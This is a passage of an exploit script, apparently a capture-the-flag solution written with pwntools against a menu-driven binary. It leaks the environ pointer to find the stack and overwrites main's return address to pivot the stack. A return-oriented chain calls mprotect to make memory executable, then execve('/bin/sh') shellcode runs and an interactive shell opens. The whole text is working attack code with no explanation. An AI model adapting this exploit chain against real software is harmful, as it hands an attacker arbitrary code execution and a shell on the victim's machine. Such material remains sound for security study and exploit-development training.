write(p64(0x21) * 8 + p64(8) + p64(0) + p64(elf.symbols['environ']))
select(1)
display(0, 8)

environ_addr = u64(sh.recvn(8))
log.success('environ_addr: ' + hex(environ_addr))

select(2)
write(p64(0x21) * 8 + p64(0x100) + p64(0) + p64(environ_addr - 0x130 - 8)) # main return

select(1)
 # main return
write(p64(0x6d9360) + p64(0x0000000000400bcb)) # leave; ret

layout = [
    0,
    0x00000000004006a6, #: pop rdi; ret;
    0x6d9000,
    0x0000000000411583, #: pop rsi; ret; 
    0x2000,
    0x000000000044d836, #: pop rdx; ret; 
    7,
    elf.symbols['mprotect'],
    0x00000000004ae2a7, #: jmp rsp; 
]

shellcode = asm('''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall
''')

new_tab()
insert_tab(flat(layout) + shellcode)

sh.sendlineafter('>>> ', 'q')

sh.interactive()
clear()